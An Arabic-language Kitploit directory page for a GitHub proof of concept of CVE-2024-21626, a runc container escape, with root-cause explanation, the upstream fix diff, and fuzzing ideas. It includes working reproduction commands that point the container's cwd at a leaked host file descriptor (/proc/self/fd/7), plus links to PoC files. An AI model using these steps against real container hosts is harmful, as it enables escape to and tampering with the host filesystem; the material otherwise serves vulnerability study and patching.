Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/r4mbb/cve-2024-21626-poc
تحليل الثغرات الأمنيةالاستغلالالاختبار العشوائياختبار الاختراقالهروب من الحاويةاستغلال الملفات الثنائية
GitHubr4mbb/cve-2024-21626-poc

CVE-2024-21626-PoC

السبب الجذري وإثبات الكود

عرض المستودع
5منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-21626

السبب الجذري & إثبات الكود

كيفية استخدام poc-autoplay؟

root@kitploit:~
make install

make uninstall

1. السبب الجذري

  • في إصدارات runc v1.1.11 وما دون، عند فتح الدليل /sys/fs/cgroup الخاص بالمضيف لتهيئة cgroup، يتم ترك واصف الملف (file descriptor) مفتوحًا في عملية تهيئة الحاوية دون إغلاقه، مما يؤدي إلى حدوث هذه الثغرة.
  1. في مرحلة runc init، يتم الحصول على /proc/{PID}/fd/7 عبر /sys/fs/cgroup الخاص بالمضيف.
  2. يتم تنفيذ fork/exec للحاوية PID 1 دون إغلاق واصف الملف هذا.
  3. في مواصفات runc أو خيار runc exec —cwd، يتم تعيين دليل العمل (cwd) إلى مسار يتحكم به المهاجم مثل /proc/self/fd/7/ الذي تم الحصول عليه أعلاه.
  4. بعد chdir، ينتقل cwd الخاص بـ PID 1 إلى خارج rootfs الحاوية.
  5. وبهذا يمكن لعملية داخل الحاوية الوصول أو تعديل نظام ملفات المضيف، مما يتيح الهروب من الحاوية.
root@kitploit:~
--- a/libcontainer/init_linux.go
+++ b/libcontainer/init_linux.go
@@ -7,6 +7,7 @@ import (
        "net"
        "os"
        +    "path/filepath"
        "runtime"
        "runtime/debug"
        "strconv"
        @@ -268,6 +272,32 @@ func populateProcessEnvironment(env []string) error {
        return nil
        }

        +// verifyCwd ensures that the current working directory is still inside
        +// the container’s mount-namespace root. If getcwd(2) returns ENOENT,
         // it indicates the cwd is outside the container.
         // See CVE-2024-21626.
        +func verifyCwd() error {
        +   if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
        +       return errors.New("current working directory is outside of container mount namespace root -- possible container breakout detected")
        +   } else if err != nil {
        +       return fmt.Errorf("failed to verify if current working directory is safe: %w", err)
        +   } else if !filepath.IsAbs(wd) {
            +       // Sanity check: cwd should always be absolute
                +       return fmt.Errorf("current working directory is not absolute -- possible container breakout detected: cwd is %q", wd)
                +   }
        +   return nil
            +}

            @@ -326,6 +353,10 @@ func finalizeNamespace(config *initConfig) error {
                if err := system.ClearKeepCaps(); err != nil {
                    return fmt.Errorf("unable to clear keep caps: %w", err)
                }
                +    // After chdir to config.Cwd, ensure it’s still inside the container
                    +    if err := verifyCwd(); err != nil {
                        +        return err
                            +    }
                return nil
            }
  • تمت إضافة منطق للتحقق من cwd بعد chdir مباشرةً.
  • في libcontainer/init_linux.go، تمت إضافة دالة verifyCwd() للتحقق مما إذا كان cwd لا يزال داخل الحاوية بعد chdir، ثم تحديد ما إذا كان سيتم إرجاع خطأ.
  • تمت إضافة منطق لإغلاق جميع واصفات الملفات المسربة.
  • قبل execve النهائي، يتم إغلاق جميع واصفات الملفات الداخلية لضمان عدم بقاء واصفات المضيف في عملية الحاوية.

2. إثبات المفهوم

  • البيئة
root@kitploit:~
    - wsl, vmware (Ubuntu 18 ~ 22)
    - kernel (6.6.87)
    - runc ( ≤ 1.1.11)
    - docker (28.1.1)
    - go (1.20.14)
  • الاستغلال عبر runc نفسه
root@kitploit:~
    mkdir CVE-2024-21626 && cd CVE-2024-21626 && mkdir rootfs

    docker pull alpine:latest
    docker export $(docker create alpine:latest) | tar x -C rootfs/

    runc spec
    sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json

    sudo bash -c "exec 7</; runc run demo"

البدء من المسار / المحلي داخل Docker.

  • عند إنشاء الحاوية، يجب تعيين دليل العمل إلى واصف ملف معين. يرتبط واصف المضيف المفتوح بواصف داخل الحاوية، مما يجعل هروب Docker ممكنًا.

  • ملف إثبات المفهوم -> https://drive.google.com/file/d/14ttL_Hzbg1GO8WFt3fIfdP7Ik0s1yOM3/view?usp=sharing

root@kitploit:~
- make install, make uninstall
  • فيديو إثبات المفهوم MP4 -> https://drive.google.com/file/d/1NQwCPwxi51l_RFr8KMACH0Cupe7w_AnE/view?usp=sharing

3. كيف يمكن اختبار هذه الثغرة بالتشويش (fuzzing)؟

  • طريقة استخدام go-fuzz على الثنائي runc الضعيف.
  • يمكن القيام بذلك من خلال إعطاء تكوين OCI عشوائي كمدخلات لوظيفة finalizeNamespace() المعرضة للخطر، وتحديدًا معالجة chdir(config.Cwd) داخلها.
  • بهذه الطريقة، يمكن تحليل التعامل مع الاستثناءات أو حدوث تعطل في المسار النسبي من cwd بعد chdir.
  • طريقة استخدام AFL++ على الثنائي runc للإصدارات الضعيفة.
  • هذه طريقة لتشويش مواصفات OCI JSON ووسائط سطر أوامر runc.
  • يبدو أنه يمكن تحليل الأعطال التي تحدث عند نقطة chdir من خلال استهداف جزء cwd في مواصفات OCI JSON.
تنزيل الأداة